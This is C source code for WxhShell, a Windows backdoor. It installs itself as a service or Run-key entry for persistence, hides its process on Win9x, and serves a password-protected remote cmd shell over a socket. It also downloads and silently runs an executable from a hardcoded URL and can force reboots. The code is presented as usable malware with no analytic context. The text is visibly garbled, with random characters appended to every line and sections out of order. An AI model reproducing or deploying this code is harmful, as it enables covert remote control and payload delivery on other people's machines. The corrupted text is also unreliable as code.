    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !a4`SjOgu  
    else { ')T*cLQ><  
    closesocket(wsh); ]`q]\EH  
    ExitThread(0); y*Gq VA[  
    } ^V~^[Yp  
    break; R5 i xG9  
    } _'|C-j`u$  
  // 获取shell ~\*wt(o  
  case 's': { ef@F!s_fI  
    CmdShell(wsh); +4n}H}9l  
    closesocket(wsh); >]HvXEdNZ|  
    ExitThread(0); ta@fNS4  
    break; W!+eJ!Da  
  } d(j g "@  
  // 退出 [{0/'+;9  
  case 'x': { '=H3Y_{oO  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 3, 3n  
    CloseIt(wsh); 0h kZ  
    break; +y_V$q$G  
    } usNq]  
  // 离开 ujn7DBE"  
  case 'q': { 6P T)  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); a$EudD#+  
    closesocket(wsh); r]'[qaP  
    WSACleanup(); ]5Q)mWF  
    exit(1); CD. XZA[  
    break; wHZ(=z/q  
        } hltUf5m'b  
  } BI<(]`FP;s  
  } J vl-=~  
}R~C<3u\2  
  // 提示信息 g* -}9~  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); L'$({  
} Zbr1e5?  
  } =Qn8Y`U  
iOk`_LG#  
  return; 4QE")Ge  
} O) )j  
 T4J WZ  
// shell模块句柄 VVEJE$  
int CmdShell(SOCKET sock) \'X-><1  
{ M<x><U#]A  
STARTUPINFO si; ?y@;=x!'  
ZeroMemory(&si,sizeof(si)); |RBL5,t^  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; a# Uk:O!  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; C,8@V`  
PROCESS_INFORMATION ProcessInfo; g2vt(Gf;  
char cmdline[]="cmd"; 7CCSG{k  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); a *bc#!e  
  return 0; @7t*X-P.;-  
} 4<- E0  
l}FA&c"  
// 自身启动模式 W6)XMl}n  
int StartFromService(void) x&N@R?AG1  
{ #4AqWyp#f  
typedef struct ivSpi?   
{ ?btX&:j2P  
  DWORD ExitStatus; ti<;>P[4  
  DWORD PebBaseAddress; ,!^g8zO  
  DWORD AffinityMask; MIu'OJ"z~  
  DWORD BasePriority; bWZ oGFT  
  ULONG UniqueProcessId; u$ vLwJ|o  
  ULONG InheritedFromUniqueProcessId; :4>LtfA  
}   PROCESS_BASIC_INFORMATION; lrgvY>E0  
#UnGU,J  
PROCNTQSIP NtQueryInformationProcess; QZ5%nJme_  
rm<`H(cT  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Kww+lgzS  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; m[w~h\FS  
9S?b &]  
  HANDLE             hProcess; e63io0g>  
  PROCESS_BASIC_INFORMATION pbi; q#0yu"<  
o{7w&Pgs2  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); cr!sq.)s  
  if(NULL == hInst ) return 0; m;<5QK8f  
"^t;V+Io  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); R?] S<Z  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 6f J5Y iQ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); OSK:Cb.-?F  
i;J*9B_U  
  if (!NtQueryInformationProcess) return 0; V'AZs;  
]Gl5Qf:+z  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); R;w1& Z  
  if(!hProcess) return 0; s="cg0PD  
j[w5#]&%  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; g:>dF#  
K14{c1  
  CloseHandle(hProcess); 602=qb  
5?TjuGc  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); %Gjjl*`E  
if(hProcess==NULL) return 0; b~+\\,q}  
2!a~YT  
HMODULE hMod; \qbEC.-K  
char procName[255]; "; ?^gA  
unsigned long cbNeeded; XE|"n  
tTe:Oq  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); k")3R}mX  
!_:|mu'  
  CloseHandle(hProcess); +s5Yg,4*  
Z.0mX#  
if(strstr(procName,"services")) return 1; // 以服务启动 zQtx!k=  
peU1 t:k?  
  return 0; // 注册表启动 l 4cTN @E  
} 0urM@/j+  
P' k`H  
// 主模块 M-5zsN  
int StartWxhshell(LPSTR lpCmdLine) !?m8UE  
{ =(,dI [v  
  SOCKET wsl; \'x?VVw  
BOOL val=TRUE; ~ [=2d a  
  int port=0; T) cbpkH4  
  struct sockaddr_in door; gk"J+uM  
":Pfi!9Wl  
  if(wscfg.ws_autoins) Install(); ld'Aaxl&  
c6HH%|  
port=atoi(lpCmdLine); jhE3@c@pT  
v?4MndR  
if(port<=0) port=wscfg.ws_port; j`"cU$NRM  
_MGhG{p7t  
  WSADATA data; Il#9t?/  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; n 4EZy<~m  
M+\LH  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   5?MKx!%  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !%YV0O0  
  door.sin_family = AF_INET; :;Wh!8+j  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); G6j9,#2@  
  door.sin_port = htons(port); $!"*h  
mr`EcO0  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { sKOy6v  
closesocket(wsl); QLyBP!X-  
return 1; PF-"^2&_  
} 2ZFp(e^%  
J OH=)+xj  
  if(listen(wsl,2) == INVALID_SOCKET) { LwIX&\Ub  
closesocket(wsl); L3X[; |v}  
return 1; h+Tt+ Q\  
} f<( ysl1[  
  Wxhshell(wsl); 4+r26S,T  
  WSACleanup(); Psu*t%nQ?A  
24/ ^_Td  
return 0; 5I@2UvV8  
}5Pzen  
} qn@:A2e d  
2;=xH t  
// 以NT服务方式启动 <7sGA{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !4 G9`>n  
{ nK|WzUtp  
DWORD   status = 0; ZIM 5$JdCv  
  DWORD   specificError = 0xfffffff; ?!kPW^gD  
eMDraJv@  
  serviceStatus.dwServiceType     = SERVICE_WIN32; vh^,8pPy  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; VBI~U?0  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; u:D,\`;)  
  serviceStatus.dwWin32ExitCode     = 0; !`#xFRHe  
  serviceStatus.dwServiceSpecificExitCode = 0; mw&)j R$&  
  serviceStatus.dwCheckPoint       = 0; giz#(61j^  
  serviceStatus.dwWaitHint       = 0; OO+QH 2j  
)}jXC4  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Az>gaJ/_  
  if (hServiceStatusHandle==0) return; 8_F5c@7  
69u"/7X  
status = GetLastError(); &\GB_UA  
  if (status!=NO_ERROR) \LpR7D  
{ Kdwt^8Umh  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; X Sw0t8  
    serviceStatus.dwCheckPoint       = 0; IPT\d^|f  
    serviceStatus.dwWaitHint       = 0; .`K<Iug1  
    serviceStatus.dwWin32ExitCode     = status; |Ptv)D  
    serviceStatus.dwServiceSpecificExitCode = specificError; [.NG~ cpb  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); )R'~{;z }  
    return; ]J7.d$7T  
  } V}kQXz"9  
=%V(n{7=  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; $,~D-~-  
  serviceStatus.dwCheckPoint       = 0; qA6;Q$  
  serviceStatus.dwWaitHint       = 0; y6nPs6kR  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ix]t>2r  
} .d>TU bR;  
wR=WS',  
// 处理NT服务事件,比如:启动、停止 11(:#4Y,  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %^$7z,>;  
{ %0!!998  
switch(fdwControl) td#B$$[  
{ S @ MO  
case SERVICE_CONTROL_STOP: cRhu]fv()  
  serviceStatus.dwWin32ExitCode = 0; &%Lps_+fJ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Akbt%&  
  serviceStatus.dwCheckPoint   = 0; Ma,2_oq+  
  serviceStatus.dwWaitHint     = 0; ]V K%6PQ0  
  { .`3O4]N[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ==\Qj{ 7`  
  } e$3{URg  
  return; ]e+88eQ  
case SERVICE_CONTROL_PAUSE: ?W(>Yefk  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; z.q^`01/H  
  break; 5dE@ePO[/9  
case SERVICE_CONTROL_CONTINUE: M &g1'zv?/  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 3b2[i,m<L  
  break; lef,-{X-  
case SERVICE_CONTROL_INTERROGATE: R6A{u(  
  break; >qBQfz:U>  
}; hY@rt,! 8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Io81zA  
} M_wj>NXZ  
#DI%l`B  
// 标准应用程序主函数 U- UD27  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) S_VZ^1X]  
{ u2G{I?  
:mwJJIjUW  
// 获取操作系统版本 y7quKv7L}  
OsIsNt=GetOsVer(); *|T]('xwC  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Xv%1W? >@/  
,MxTT!9Su  
  // 从命令行安装 NM;0@ o  
  if(strpbrk(lpCmdLine,"iI")) Install(); ;ctJ9"_g  
1webk;IM  
  // 下载执行文件 <n)J~B^  
if(wscfg.ws_downexe) { Az}.Z'LJ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 69{BJ] q  
  WinExec(wscfg.ws_filenam,SW_HIDE); x"9e eB,  
} oK5"RW  
([r4N#lx  
if(!OsIsNt) { 8tR(i[L   
// 如果时win9x,隐藏进程并且设置为注册表启动 <:mV^tK  
HideProc(); %)$^_4.g  
StartWxhshell(lpCmdLine); i*We kr3Wo  
} PYYK R  
else wMB. p2  
  if(StartFromService()) ?9E shw2  
  // 以服务方式启动 <GbF4\ue  
  StartServiceCtrlDispatcher(DispatchTable); S~9K'\vO  
else 3:Mq4 0]x  
  // 普通方式启动 w@&4dau  
  StartWxhshell(lpCmdLine); _bi]Bpxf  
%8_bh8g-  
return 0; qW1d;pt  
} pu:Ie#xTDf  
jo8hVWJ7V*  
<,r|*pkhp~  
%MQU&H9[  
=========================================== &o$z[ b  
G^`IfF-j  
>VQP,J{  
Kyz!YB  
#E?TE  
e'FBV[e  
" "B~c/%#PH  
H\Y5Fd9)  
#include <stdio.h> ?*36&Iq}  
#include <string.h> ^u? #fLr  
#include <windows.h> g ni=S~u  
#include <winsock2.h> "0Wi-52=V  
#include <winsvc.h> ! z^%$;p  
#include <urlmon.h> vdn`PS'#  
qgT~yDm  
#pragma comment (lib, "Ws2_32.lib") CEwMPPYnD  
#pragma comment (lib, "urlmon.lib") |,3>A@  
TSGJ2u5ie%  
#define MAX_USER   100 // 最大客户端连接数 g[Z$\A?ZbZ  
#define BUF_SOCK   200 // sock buffer uANG_sX^n  
#define KEY_BUFF   255 // 输入 buffer jT~PwDSFt3  
)U?Tmh  
#define REBOOT     0   // 重启 tl 0_Sd  
#define SHUTDOWN   1   // 关机 WF)(Q~op0U  
G E=J Y  
#define DEF_PORT   5000 // 监听端口  I~'%  
$2p=vi 3  
#define REG_LEN     16   // 注册表键长度 otA59 ;Z  
#define SVC_LEN     80   // NT服务名长度 -YXNB[C  
}e7os0;s  
// 从dll定义API o$*aAgS+  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); gx-ib/_f1  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); emhI1 *}  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);  ZA u=m  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); DqfWu*  
\3M<_73  
// wxhshell配置信息 ,buSU~c_Q  
struct WSCFG { S(B$[)(  
  int ws_port;         // 监听端口 qXOWCYqs  
  char ws_passstr[REG_LEN]; // 口令 ae1?8man  
  int ws_autoins;       // 安装标记, 1=yes 0=no zn,y'},  
  char ws_regname[REG_LEN]; // 注册表键名 "!ZQ`yl  
  char ws_svcname[REG_LEN]; // 服务名 HHT_}_?  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 R&>G6jZ?8  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 <G9HVMiP  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 .!fhy[%o:D  
int ws_downexe;       // 下载执行标记, 1=yes 0=no :y/1Jf'2f  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" R cZg/{[{  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 -B`Nkc  
scf.> K2  
}; (E{>L).~  
WH>=*\  
// default Wxhshell configuration <G};`}$a  
struct WSCFG wscfg={DEF_PORT, U$*AV<{%   
    "xuhuanlingzhe", Jy#c 6  
    1, 5r&bk`  
    "Wxhshell", }Y}f7 3-|  
    "Wxhshell", }McqoZ%F  
            "WxhShell Service", : 3J0Q  
    "Wrsky Windows CmdShell Service", L701j.7"  
    "Please Input Your Password: ", 50s1o{xwc  
  1, o1kTB&E4B  
  "http://www.wrsky.com/wxhshell.exe", IhIz 7.|  
  "Wxhshell.exe" %DK0s(*w0  
    }; (yx^zW7  
S!Alno  
// 消息定义模块 `fnU p-  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; {\1:2UKkr  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 1^f7  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; `"(FWK=8)"  
char *msg_ws_ext="\n\rExit."; l}bAwJ?  
char *msg_ws_end="\n\rQuit."; SmpYH@  
char *msg_ws_boot="\n\rReboot..."; Z<wJ!|f  
char *msg_ws_poff="\n\rShutdown..."; $U_M|Xa  
char *msg_ws_down="\n\rSave to "; y% Q0* _  
Bi.,@7|>  
char *msg_ws_err="\n\rErr!"; Ulf'gD4e  
char *msg_ws_ok="\n\rOK!"; `D%U5Jb  
3`JLb]6  
char ExeFile[MAX_PATH]; m4 k:uk7N  
int nUser = 0; 0N|l1Sn  
HANDLE handles[MAX_USER]; LD=eMk: ~  
int OsIsNt; 5NR@<FE  
H[S}&l\D4  
SERVICE_STATUS       serviceStatus; ,QeJ;U  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; -> ^Ex`  
_Gu;=H,~&  
// 函数声明 w4nU86oZYl  
int Install(void); w)rd--9f  
int Uninstall(void); @%'1Jd7-Wp  
int DownloadFile(char *sURL, SOCKET wsh); Dru iiA  
int Boot(int flag); kF;N}O2?{  
void HideProc(void); mn].8 F  
int GetOsVer(void); -wsoJh  
int Wxhshell(SOCKET wsl); 7C&J88|\  
void TalkWithClient(void *cs); o7r7HmA@  
int CmdShell(SOCKET sock); %`_Rl>@K=  
int StartFromService(void); pjN4)y>0  
int StartWxhshell(LPSTR lpCmdLine); }T5 E^  
1dhuLN%Ce  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 22T\ -g{  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); h-f`as"d  
`f[  
// 数据结构和表定义 EED0U?  
SERVICE_TABLE_ENTRY DispatchTable[] = :>|dE%/e$  
{ y+aKk6(_W  
{wscfg.ws_svcname, NTServiceMain}, [n2+`A  
{NULL, NULL} ? K,d  
}; ;!+-fn4C  
%lnVzGP  
// 自我安装 lR>p  
int Install(void) EKD?j  
{ Ob&m&2s,  
  char svExeFile[MAX_PATH]; KB"N',kG  
  HKEY key; 9Q.@RO$%C  
  strcpy(svExeFile,ExeFile); ;*G';VuT  
;/h&40&  
// 如果是win9x系统,修改注册表设为自启动 &RHZ7T  
if(!OsIsNt) { '8yCwk  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _UA|0a!-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4 Aj<k  
  RegCloseKey(key); 0clq}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &7 K=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Vb8Qh601  
  RegCloseKey(key); q'Nafa&a)  
  return 0; E !9(6G4  
    } )H>?K0I  
  } Kqz+:E8D  
} @<jm+f"MP  
else { j"A<qI  
rJT YCe1*  
// 如果是NT以上系统,安装为系统服务 N/!(`Z,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ]$,3vYBf  
if (schSCManager!=0) oF~+L3&X  
{ :4r{t?ytXw  
  SC_HANDLE schService = CreateService dBkM~"  
  ( a&Z,~Vp  
  schSCManager, ]6 HR  
  wscfg.ws_svcname, p9E/#U8A_  
  wscfg.ws_svcdisp, wVq9t|V  
  SERVICE_ALL_ACCESS, 8 :;]tt  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ;:,U]@  
  SERVICE_AUTO_START, ? Rk[P cX<  
  SERVICE_ERROR_NORMAL, uznYLS  
  svExeFile, 8B(=Y;w  
  NULL, ?Dl;DE1  
  NULL, v:P=t2q  
  NULL, }1DzWS-hh  
  NULL, /iEQ}  
  NULL Ne)3@?  
  ); 2 :4o`o  
  if (schService!=0) tVe =c  
  { @6 a'p  
  CloseServiceHandle(schService); :}R,a=N  
  CloseServiceHandle(schSCManager); y=aWSb2y'  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); e*y l_iW  
  strcat(svExeFile,wscfg.ws_svcname); FHSFH>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { t2iQ[`/?~  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ~"\WV4}`v  
  RegCloseKey(key); #~m 8zG  
  return 0; l;r A}?,.^  
    } ^?2zoS#iw  
  } !' 0PM[  
  CloseServiceHandle(schSCManager); [C/{ru&E  
} gt9(5p  
} #+N_wIP4  
Ifokg~X~G  
return 1; njZJp|y6  
} \:g\?[  
0CvGpM,  
// 自我卸载 N4z[=b>  
int Uninstall(void) MGf*+!y,  
{ +w7U7" xQ  
  HKEY key; Zd'Yu{<_2N  
|@~_&g  
if(!OsIsNt) { )Ii`/I^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { fk9q3  
  RegDeleteValue(key,wscfg.ws_regname); -G~/ GO  
  RegCloseKey(key); RU=\eD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %{7*o5`  
  RegDeleteValue(key,wscfg.ws_regname); BNF*1JO  
  RegCloseKey(key); 6oq5CDoq  
  return 0; gj iFpW4  
  } ACy}w?D<  
} "TP~TjXfq  
} $e2+O\.>  
else { d!46`b$rd  
Io"3wL)2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); d >NO}MR  
if (schSCManager!=0) d&AO 4^  
{ ^<Gxip  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); A|4om=MO  
  if (schService!=0) 3AglvGK7{  
  { a~J!G:(  
  if(DeleteService(schService)!=0) { 5}Id[%.x  
  CloseServiceHandle(schService); ;5.<M<PH  
  CloseServiceHandle(schSCManager); ?PS?_+E\L  
  return 0; d#XgO5eyO  
  } <.Pt%Kg^BS  
  CloseServiceHandle(schService); $P#x>#+[A  
  } IN@o9pUjV  
  CloseServiceHandle(schSCManager); h-|IZ}F7  
} # S/n3  
} xY/F)JOeG  
:iLRCK3 C  
return 1; *];QPi~  
} ,(Ol]W}  
pg!MtuC}  
// 从指定url下载文件 |x.^rx`  
int DownloadFile(char *sURL, SOCKET wsh) AE+BrN +"2  
{ H2H[DVKv  
  HRESULT hr; XI |k,Ko<  
char seps[]= "/"; Rnoz[1y?0  
char *token; c~~4eia)  
char *file; 0e+#{k  
char myURL[MAX_PATH]; Wz #Cyjo  
char myFILE[MAX_PATH]; ';Q8x?BS  
iqdU?&.;  
strcpy(myURL,sURL); hJ]Oa7r  
  token=strtok(myURL,seps); |/H?\]7  
  while(token!=NULL) =4'V}p  
  { MU sF  
    file=token; 9a=>gEF],@  
  token=strtok(NULL,seps); f^*Yqa  
  } NtM ? Jh  
Zj-U^6^L  
GetCurrentDirectory(MAX_PATH,myFILE); 1x=x,lcL  
strcat(myFILE, "\\"); 7V8k =  
strcat(myFILE, file); ZgG~xl\My  
  send(wsh,myFILE,strlen(myFILE),0); 9) ,|h  
send(wsh,"...",3,0); {aq)Y>o5:T  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ~c<8;,cjYR  
  if(hr==S_OK) S5u$I  
return 0; kS &>g  
else XVqkw@Ia4!  
return 1; @8>bp#x/1  
_k26(rdI@-  
} .D ^~!A  
=R' O5J  
// 系统电源模块 n42\ty9  
int Boot(int flag) _tX=xAO9  
{ Y2XxfZ j  
  HANDLE hToken; ~-6_-Y|  
  TOKEN_PRIVILEGES tkp; Y%kOq`uT=n  
vpf.0!zh  
  if(OsIsNt) { f,E7eL@  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); PuREqa\_[  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); FG[rH]   
    tkp.PrivilegeCount = 1; lct  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; YC8IwyL'  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); yU&;\'  
if(flag==REBOOT) { ~v;+-*t  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~tt\^:\3~S  
  return 0; .4R.$`z4  
} lya},_WCq  
else { p&x!m}!  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) $l"%o9ICG  
  return 0; =?0v,;F9|  
} hHmm(~5gR  
  } R'`'q1=R  
  else { {pH#zs4Y  
if(flag==REBOOT) { c QuL9Xo  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _"B.V(  
  return 0; xl`AiO `K  
} zsQ|LwQ  
else { K$Vu[!l`  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) *|g[Mn  
  return 0; 2[Lv_<i|  
} *l{epum;  
} -*4*hHmb  
pXl[I;  
return 1; 64mEZ_kG,  
} Z3hZy&_I  
_3@5@1[s  
// win9x进程隐藏模块 x1#>"z7  
void HideProc(void) 7~QI4'e  
{ ur8+k4] \"  
5Y^"&h[/  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); :K]7(y7>  
  if ( hKernel != NULL ) FMeBsI9pL  
  { Wj^e)2%  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); u-,}ug|  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); lTqlQ<`V  
    FreeLibrary(hKernel); DbH;DcV7  
  } eIalcBY  
/Yp#`}Ii  
return; lP`BKc,  
} \alV #>J5  
]}N01yw|s  
// 获取操作系统版本 )h]#:,pm  
int GetOsVer(void) =?.oH|&\h  
{ uStAZ ~b\  
  OSVERSIONINFO winfo; Dho6N]86r  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 3._ ep  
  GetVersionEx(&winfo); 6 Ln~b<I  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 4\&Y;upy+  
  return 1; F!EiF&[\J  
  else hA 5')te<  
  return 0; |A 'I!Jm  
} kJ FWk  
/9G72AD!  
// 客户端句柄模块 Lcpe*C x-  
int Wxhshell(SOCKET wsl) 9%T"W  
{ i^%$ydg  
  SOCKET wsh; (^ EuF]  
  struct sockaddr_in client; I* C~w  
  DWORD myID; 1Y'4 g3T  
nPXP9wmh4x  
  while(nUser<MAX_USER) A,DBq9Z+4R  
{ D1xGUz2r  
  int nSize=sizeof(client); ]qv0Y~+`-K  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); >[|N%9\  
  if(wsh==INVALID_SOCKET) return 1; '1ySBl1>  
:L NE ?@  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); h:362&?]  
if(handles[nUser]==0) xz"60xxY  
  closesocket(wsh); `2s@O>RV  
else ~h@@y5<4  
  nUser++; 0W*{ 1W  
  } L/tn;0  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); P{n#^4  
hvw9i7#  
  return 0; >Dr(%z6CN  
} B{j><u xl  
X"r)zCP+t  
// 关闭 socket EYq?NL='  
void CloseIt(SOCKET wsh) [UzD3VPg  
{ ~#*C,4m  
closesocket(wsh); *pJGp:{6V?  
nUser--; ^)gyKl:E'  
ExitThread(0); 8mreHa  
} o2ggHZe/=@  
Bxm,?=h  
// 客户端请求句柄 WMa0L&C~v  
void TalkWithClient(void *cs) MMFwT(l<1  
{ N2}SR|.  
H/O.h@E4X  
  SOCKET wsh=(SOCKET)cs; Kk8} m;  
  char pwd[SVC_LEN]; ~U&NY7.@  
  char cmd[KEY_BUFF]; AYA{_^#+3  
char chr[1]; ,D+ydr  
int i,j; !lgL=Ys(  
H>EM3cFU  
  while (nUser < MAX_USER) { TBBnsj6e  
SU~a()"  
if(wscfg.ws_passstr) { INi$-Y+  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  lln"c  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); z5fE<=<X_W  
  //ZeroMemory(pwd,KEY_BUFF); njy2pDC@  
      i=0; )Fv.eIBY  
  while(i<SVC_LEN) {  l!|c_  
J2W-l{`r<  
  // 设置超时 ~:z.Xu5m  
  fd_set FdRead; Pqomi!1  
  struct timeval TimeOut; p,fV .5q  
  FD_ZERO(&FdRead); Wm}c-GD  
  FD_SET(wsh,&FdRead); V^2_]VFj  
  TimeOut.tv_sec=8; b0$)G-E/Y  
  TimeOut.tv_usec=0; 1(?4*v@B  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ,@ 8+%KqG  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); (gBKC]zvz3  
8 c8`"i  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +NPL.b|  
  pwd=chr[0]; %F>~2g?$  
  if(chr[0]==0xd || chr[0]==0xa) { ii)# (b:V  
  pwd=0; K|7"YNohfG  
  break; Ht Fr(g\"$  
  } uDDa >Ka#+  
  i++; te+}j7SU  
    } V,&%[H [  
l$;"yVdks  
  // 如果是非法用户,关闭 socket 9*)&hhBs,  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); dEoIVy_9R  
} c|Ivet>3  
X8|H5Y:  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); pr0X7 #_E5  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .{1$;K @  
H`JFXMa<  
while(1) { JtL> mH  
t}q e_c  
  ZeroMemory(cmd,KEY_BUFF); ZLkl:'E_  
p27Dc wov  
      // 自动支持客户端 telnet标准   )O1]|r7v  
  j=0; i1 E|lp)  
  while(j<KEY_BUFF) { #aP#r4$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); P>7Xbm,VP  
  cmd[j]=chr[0]; B@,r8)D  
  if(chr[0]==0xa || chr[0]==0xd) { .q@?sdGD  
  cmd[j]=0; &BVHQ7[  
  break; Lzh8-d=HQ  
  } A WR :~{  
  j++; 2}vibDq p  
    } )0"Q h  
d6luksO*9  
  // 下载文件 B5lwQp]  
  if(strstr(cmd,"http://")) { <XdnVe1  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); [ RyVR  
  if(DownloadFile(cmd,wsh)) ;.>*O oe&  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Cy~IB [  
  else |p|Zv H  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ds`e-X)O;\  
  } #I/P9)4  
  else { pHeG{<^  
